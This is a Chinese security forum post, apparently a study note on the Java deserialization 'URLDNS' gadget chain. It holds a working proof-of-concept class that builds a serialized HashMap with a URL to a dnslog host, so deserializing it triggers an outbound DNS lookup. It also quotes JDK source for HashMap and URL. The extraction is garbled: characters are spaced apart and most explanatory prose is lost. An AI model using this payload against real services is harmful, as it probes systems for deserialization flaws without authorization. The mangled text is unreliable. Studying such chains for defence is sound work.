[1145] 2020-10-27_Java反序列化学习之URLDNS

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-16
2020-10-27_Java反序列化学习之URLDNS J a v a U R L D N S S y s t 1 m   C h a B u g   2 0 2 0 - 1 0 - 2 7 U R L D N S 使 J a v a D N S G a d g e t   C h a i n H a s h M a p . r e a d O b j e c t ( )     H a s h M a p . p u t V a l ( )             H a s h M a p . h a s h ( )                     U R L . h a s h C o d e ( ) E x p p a c k a g e   e x p l o i t ; i m p o r t   j a v a . i o . F i l e I n p u t S t r e a m ; i m p o r t   j a v a . i o . F i l e O u t p u t S t r e a m ; i m p o r t   j a v a . i o . O b j e c t I n p u t S t r e a m ; i m p o r t   j a v a . i o . O b j e c t O u t p u t S t r e a m ; i m p o r t   j a v a . l a n g . r e f l e c t . F i e l d ; i m p o r t   j a v a . n e t . U R L ; i m p o r t   j a v a . u t i l . H a s h M a p ; p u b l i c   c l a s s   D n s L o g T e s t     {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {                 H a s h M a p < U R L ,   S t r i n g >   h a s h M a p   =   n e w   H a s h M a p < U R L ,   S t r i n g > ( ) ;                 U R L   u r l   =   n e w   U R L ( " h t t p : / / x x x . d n s l o g . c n " ) ;                 F i e l d   f   =   C l a s s . f o r N a m e ( " j a v a . n e t . U R L " ) . g e t D e c l a r e d F i e l d ( " h a s h C o d e " ) ;                 f . s e t A c c e s s i b l e ( t r u e ) ;                 f . s e t ( u r l ,   0 x d e a d b e e f ) ;                 h a s h M a p . p u t ( u r l ,   " y 4 e r 1 2 2 " ) ;                 f . s e t ( u r l ,   - 1 ) ;                 / /                 F i l e O u t p u t S t r e a m   f o   =   n e w   F i l e O u t p u t S t r e a m ( " d n s l o g . s e r " ) ;                 O b j e c t O u t p u t S t r e a m   o b j e c t O u t p u t S t r e a m   =   n e w   O b j e c t O u t p u t S t r e a m ( f o ) ;                 o b j e c t O u t p u t S t r e a m . w r i t e O b j e c t ( h a s h M a p ) ;                 o b j e c t O u t p u t S t r e a m . c l o s e ( ) ;                 / /                 F i l e I n p u t S t r e a m   f i s   =   n e w   F i l e I n p u t S t r e a m ( " d n s l o g . s e r " ) ;                 O b j e c t I n p u t S t r e a m   o i s   =   n e w   O b j e c t I n p u t S t r e a m ( f i s ) ;                 o i s . r e a d O b j e c t ( ) ;         } }
d n s l o g g a d g e t H a s h M a p r e a d O b j e c t       p r i v a t e   v o i d   r e a d O b j e c t ( j a v a . i o . O b j e c t I n p u t S t r e a m   s )               t h r o w s   I O E x c e p t i o n ,   C l a s s N o t F o u n d E x c e p t i o n   {               / /   R e a d   i n   t h e   t h r e s h o l d   ( i g n o r e d ) ,   l o a d f a c t o r ,   a n d   a n y   h i d d e n   s t u f f               s . d e f a u l t R e a d O b j e c t ( ) ;               r e i n i t i a l i z e ( ) ;               i f   ( l o a d F a c t o r   < =   0   | |   F l o a t . i s N a N ( l o a d F a c t o r ) )                       t h r o w   n e w   I n v a l i d O b j e c t E x c e p t i o n ( " I l l e g a l   l o a d   f a c t o r :   "   +                                                                                         l o a d F a c t o r ) ;               s . r e a d I n t ( ) ;                                 / /   R e a d   a n d   i g n o r e   n u m b e r   o f   b u c k e t s               i n t   m a p p i n g s   =   s . r e a d I n t ( ) ;   / /   R e a d   n u m b e r   o f   m a p p i n g s   ( s i z e )               i f   ( m a p p i n g s   <   0 )                       t h r o w   n e w   I n v a l i d O b j e c t E x c e p t i o n ( " I l l e g a l   m a p p i n g s   c o u n t :   "   +                                                                                         m a p p i n g s ) ;               e l s e   i f   ( m a p p i n g s   >   0 )   {   / /   ( i f   z e r o ,   u s e   d e f a u l t s )                       / /   S i z e   t h e   t a b l e   u s i n g   g i v e n   l o a d   f a c t o r   o n l y   i f   w i t h i n                       / /   r a n g e   o f   0 . 2 5 . . . 4 . 0                       f l o a t   l f   =   M a t h . m i n ( M a t h . m a x ( 0 . 2 5 f ,   l o a d F a c t o r ) ,   4 . 0 f ) ;                       f l o a t   f c   =   ( f l o a t ) m a p p i n g s   /   l f   +   1 . 0 f ;                       i n t   c a p   =   ( ( f c   <   D E F A U L T _ I N I T I A L _ C A P A C I T Y )   ?                                             D E F A U L T _ I N I T I A L _ C A P A C I T Y   :                                             ( f c   > =   M A X I M U M _ C A P A C I T Y )   ?                                             M A X I M U M _ C A P A C I T Y   :                                             t a b l e S i z e F o r ( ( i n t ) f c ) ) ;                       f l o a t   f t   =   ( f l o a t ) c a p   *   l f ;                       t h r e s h o l d   =   ( ( c a p   <   M A X I M U M _ C A P A C I T Y   & &   f t   <   M A X I M U M _ C A P A C I T Y )   ?                                                 ( i n t ) f t   :   I n t e g e r . M A X _ V A L U E ) ;                       / /   C h e c k   M a p . E n t r y [ ] . c l a s s   s i n c e   i t ' s   t h e   n e a r e s t   p u b l i c   t y p e   t o                       / /   w h a t   w e ' r e   a c t u a l l y   c r e a t i n g .                       S h a r e d S e c r e t s . g e t J a v a O I S A c c e s s ( ) . c h e c k A r r a y ( s ,   M a p . E n t r y [ ] . c l a s s ,   c a p ) ;                       @ S u p p r e s s W a r n i n g s ( { " r a w t y p e s " , " u n c h e c k e d " } )                       N o d e < K , V > [ ]   t a b   =   ( N o d e < K , V > [ ] ) n e w   N o d e [ c a p ] ;                       t a b l e   =   t a b ;                       / /   R e a d   t h e   k e y s   a n d   v a l u e s ,   a n d   p u t   t h e   m a p p i n g s   i n   t h e   H a s h M a p                       f o r   ( i n t   i   =   0 ;   i   <   m a p p i n g s ;   i + + )   { }
                              @ S u p p r e s s W a r n i n g s ( " u n c h e c k e d " )                                       K   k e y   =   ( K )   s . r e a d O b j e c t ( ) ;                               @ S u p p r e s s W a r n i n g s ( " u n c h e c k e d " )                                       V   v a l u e   =   ( V )   s . r e a d O b j e c t ( ) ;                               p u t V a l ( h a s h ( k e y ) ,   k e y ,   v a l u e ,   f a l s e ,   f a l s e ) ;                     }             }     } p u t V a l ( h a s h ( k e y ) ,   k e y ,   v a l u e ,   f a l s e ,   f a l s e ) ; h a s h k e y h a s h C o d e h a s h C o d e h a n d l e r . h a s h C o d e h a s h C o d e       p u b l i c   s y n c h r o n i z e d   i n t   h a s h C o d e ( )   {               i f   ( h a s h C o d e   ! =   - 1 )                       r e t u r n   h a s h C o d e ;               h a s h C o d e   =   h a n d l e r . h a s h C o d e ( t h i s ) ;               r e t u r n   h a s h C o d e ;     } g e t H o s t A d d r e s s p r o t e c t e d   s y n c h r o n i z e d   I n e t A d d r e s s   g e t H o s t A d d r e s s ( U R L   u )   {               i f   ( u . h o s t A d d r e s s   ! =   n u l l )                       r e t u r n   u . h o s t A d d r e s s ;               S t r i n g   h o s t   =   u . g e t H o s t ( ) ;
I P D n s L o g 1 . f . s e t ( u r l ,   0 x d e a d b e e f ) ; h a s h C o d e D N S h a s h C o d e - 1 h a s h c o d e - 1 D N S 2 . h a s h C o d e - 1 D N S , f . s e t ( u r l ,   - 1 ) ; - 1 h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 2 0 1 7 6 2               S t r i n g   h o s t   =   u . g e t H o s t ( ) ;               i f   ( h o s t   = =   n u l l   | |   h o s t . e q u a l s ( " " ) )   {                       r e t u r n   n u l l ;             }   e l s e   {                       t r y   {                               u . h o s t A d d r e s s   =   I n e t A d d r e s s . g e t B y N a m e ( h o s t ) ;                     }   c a t c h   ( U n k n o w n H o s t E x c e p t i o n   e x )   {                               r e t u r n   n u l l ;                     }   c a t c h   ( S e c u r i t y E x c e p t i o n   s e )   {                               r e t u r n   n u l l ;                     }             }               r e t u r n   u . h o s t A d d r e s s ; I n e t A d d r e s s . g e t B y N a m e ( ) f . s e t ( u r l ,   0 x d e a d b e e f )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则